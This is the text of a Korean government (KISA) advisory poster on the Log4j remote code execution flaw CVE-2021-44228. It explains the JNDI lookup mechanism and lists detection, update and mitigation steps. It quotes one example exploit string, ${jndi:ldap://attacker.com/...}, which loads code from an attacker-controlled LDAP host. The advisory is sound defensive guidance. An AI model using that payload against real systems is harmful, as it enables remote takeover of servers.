본문 바로가기

보고서/가이드

최악의 취약점 Log4j - 포스터

2022-03-04
최악의 보안 취약점 Log4j. 하단 상세내용 참조

과학기술정보통신부, KISA한국인터넷진흥원

최악의 보안 취약점 Log4j

1. Log4j란?

Log4j는 Apache 재단의 오픈소스 프로그램으로 자바 기반의 Logging Library입니다. 이 Library는 프로그램의 유지 및 관리 목적으로 Log를 남길 때 사용하는 도구로 자바 기반 서비스에서 광범위하게 활용하고 있습니다.

2. Log4j 취약점이란?

이 취약점은 지난해 11월 알리바바에서 최초 발견되었으며, 이후 취약점을 악용한 DDos, 악성코드, 랜섬웨어 등 다양한 공격이 발생하고 있습니다.

Apache Log4j에서 최초 발견된 Log4j 원격 코드 실행 취약점(CVE-2021-44228)을 악용하여 공격자는 서비스 권한을 획득할 수 있습니다.

Log4j 취약점은 JNDI의 Lookup method를 호출할 때, 입력 값을 검증하지 않고 호출하기 때문에 발생합니다.

JNDI(Java Naming and Directory Interface) : Java 응용 프로그램이 필요한 자원(데이터베이스 등) 및 실행에 필요한 다른 프로그램 정보를 찾을 수 있는 기능 제공

Lookup : JNDI를 통해 찾은 자원을 사용하는 기능

따라서, 공격자는 Lookup 기능을 악용하여 LDAP 서버로부터 로드한 임의의 코드를 실행할 수 있습니다. 로그 입력값 ${jndi:ldap://attacker.com/Java object Paths} → 공격자의 공격코드 [공격자가 원격에서 악의적인 명령을 보내 실행 가능]

Log4j 취약점은 공통 취약점 등급 시스템(CVSS)에서 10점 만점에 10점의 Critical 등급으로 평가되었습니다.

3. 왜 최악의 보안 취약점일까?

자바는 많이 사용하는 프로그래밍 언어이고, Log4j는 자바 사용 시 가장 널리 사용하는 Logging Library입니다.

The Most Popular Programming Languages

  1. 1. Python - 29.48% market share
  2. 2. Java - 17.18% market share
  3. 3. JavaScript - 9.14% market share
  4. ...

 

최소 수만개 이상의 IT 서비스에서 사용되고 있어 심각한 이슈로 부각되고 있습니다.

Log4j 취약점은 자바 프로그램을 이용하지 않더라도 미들웨어*에서 자바와 Log4j를 사용할 수 있기 때문에 최악의 취약점으로 평가되고 있습니다. *미들웨어 : 컴퓨터는 여러 가지 일을 나누어 '분산 컴퓨팅 환경'이라는 환경에서 일하고 있습니다. 이러한 분산 컴퓨팅 환경에서 응용프로그램과 그 프로그램이 운영되는 환경 간에 원만한 통신이 이루어지도록 하는 소프트웨어를 미들웨어라고 부릅니다.

4. 어떻게 예방할까

가장 먼저 사용중인 어플리케이션이 Log4j를 사용하는지 확인해야 합니다.

  • (Linux) log4j-core 버전 확인
    • dpkg -l | grep log4j
    • find / -name 'log4j*'
  • Lookup : (Windows) log4j 설치 버전 확인
    • window explorer의 검색 기능 (log4j 검색)을 이용하여 버전 확인
  • Java Spring Framework Maven 사용 시 log4j가 설치된 경로의 pom.xml 파일을 열어 "log4j-core"로 검색
    • window explorer의 검색 기능 (log4j 검색)을 이용하여 버전 확인
UPDATE

Log4j를 사용한다면 가장 효과적인 대응 방안은 업데이트 적용을 통한 취약점 제거입니다.

Logj4 최신 버전('22.1월 기준) JAVA 8이상 2.17.1 이상 JAVA 7 2.12.4 이상 JAVA 6 2.3.2 이상

* Application의 Security PatchRelease 및 KISA 보호나라&KrCERT/CC(Apache Log4j 보안 업데이트 권고(Update. 22-1-3 14:40) 참고

문자열 제한

서비스에 적절한 Inbound/Outbound 문자열 탐지/차단 정책을 수립하여 취약점에 악용할 수 있는 문자열을 제한해야 합니다.

* https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules) 참고

Lookup 기능 제거
  • JndiLookup 클래스 제거 예시) * zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/ookup/JndiLookup.class'
  • "log4j2.formatMsgNoLookups=true" 또는 "spring.jndiignore=true" 설정 활용

Log4j 취약점은 계속해서 발견되고 있기 때문에 보안 업데이트 및 취약점과 관련하여 지속적으로 관심을 기울여 피해를 예방해야 합니다.




□ 작성 : 대응협력팀
키워드
Log4j 로그포제이 보안 업데이트 취약점
체크되지 않은 항목이 있습니다. 모든 설문을 체크한 후에 제출버튼을 눌러주세요.
제출완료되었습니다.
참여해주셔서 감사합니다.
설문 기간 마감 안내
상단으로